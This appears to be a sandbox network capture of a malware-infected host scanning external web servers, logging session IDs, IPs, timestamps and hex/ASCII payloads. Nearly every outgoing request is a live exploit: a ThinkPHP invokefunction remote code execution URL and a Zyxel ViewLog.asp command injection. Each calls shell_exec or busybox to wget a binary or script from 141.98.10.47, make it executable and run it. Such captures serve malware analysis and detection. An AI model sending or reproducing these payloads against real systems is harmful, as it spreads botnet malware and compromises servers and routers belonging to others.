Session ID	Source IP	Source Port	Destination IP	Destination Port
352	192.168.2.23	53916	95.179.218.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:34.843167067 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:35.072578907 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:34 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
353	192.168.2.23	44958	88.216.96.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:34.972532988 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:35.144933939 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
354	192.168.2.23	57444	95.198.176.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:35.125344038 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:35.424755096 CET	55	IN	HTTP/1.1 404 Not Found Connection: close
Dec 26, 2023 21:24:35.432825089 CET	740	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c Data Ascii: Content-Type: text/html; charset=iso-8859-1<html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL '/index.php' was not found on this server.</p></body></html>... padding for MSIE -->... padd

Session ID	Source IP	Source Port	Destination IP	Destination Port
355	192.168.2.23	44966	88.216.96.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:35.317516088 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.23	59132	112.185.231.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:35.628943920 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:36.685976028 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:37.030383110 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:36 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
357	192.168.2.23	57450	95.198.176.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:35.699966908 CET	57	IN	HTTP/1.1 400 Bad Request Connection: close
Dec 26, 2023 21:24:35.732335091 CET	750	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 Data Ascii: Content-Type: text/html; charset=iso-8859-1<html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.</p></body></html>... padding for MSIE -->

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.23	49544	88.255.100.103	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:37.293514013 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:37.581839085 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
359	192.168.2.23	49946	88.197.20.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:37.940294981 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:38.265825987 CET	146	IN	Data Raw: 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 20 4f 62 73 65 72 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 77 68 69 74 65 3e 0a 3c 48 31 3e 45 72 72 6f 72 Data Ascii: <HTML><HEAD><TITLE>Error Observed</TITLE></HEAD><BODY BGCOLOR=white><H1>Error Observed</H1><P>Error: 404 Not Found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
360	192.168.2.23	32890	88.30.17.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:38.192506075 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:38.445404053 CET	499	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:24:38 GMT X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.23	39504	88.221.18.219	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:38.199857950 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:38.460242987 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:24:38 GMT Date: Tue, 26 Dec 2023 20:24:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 65 36 61 36 34 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 37 38 26 23 34 36 3b 35 62 31 61 35 61 31 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.4e6a645f.1703622278.5b1a5a1c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.23	49960	88.197.20.99	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:38.535377979 CET	148	IN	Data Raw: 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 45 72 72 6f 72 20 4f 62 73 65 72 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 77 68 69 74 65 3e 0a 3c 48 31 3e 45 72 72 6f 72 Data Ascii: <HTML><HEAD><TITLE>Error Observed</TITLE></HEAD><BODY BGCOLOR=white><H1>Error Observed</H1><P>Error: 400 Bad Request</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.23	55676	94.121.23.97	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:39.913284063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.23	42780	94.111.232.251	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:39.926482916 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.23	45862	31.136.94.100	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:40.164968014 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:40.946024895 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:42.481823921 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:45.585508108 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:51.728523016 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:04.014806986 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:28.843398094 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.23	33130	62.29.24.216	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:40.192739964 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.23	48662	94.123.106.151	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:40.200537920 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.23	40868	88.209.206.214	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:40.735781908 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:42.097920895 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:42.358974934 CET	1286	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Dec 2023 20:24:42 GMT Server: Apache/2.2.15 (CentOS) Last-Modified: Sun, 26 Nov 2023 15:00:03 GMT ETag: "bf4b8-57e-60b0f70b1953d" Accept-Ranges: bytes Content-Length: 1406 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 26 6d 64 61 73 68 3b 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 22 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 20 63 6f 6c 6f 72 3a 23 37 37 37 37 37 37 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 61 72 69 61 6c 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 30 70 78 3b 20 63 6f 6c 6f 72 3a 23 39 39 41 37 41 46 3b 20 6d 61 72 67 69 6e 3a 20 37 30 70 78 20 30 20 30 20 30 3b 7d 0a 20 20 20 20 20 20 20 20 68 32 20 7b 63 6f 6c 6f 72 3a 20 23 44 45 36 43 35 44 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2d 31 70 78 3b 20 6d 61 72 67 69 6e 3a 20 2d 33 70 78 20 30 20 33 39 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 70 20 7b 77 69 64 74 68 3a 33 37 35 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 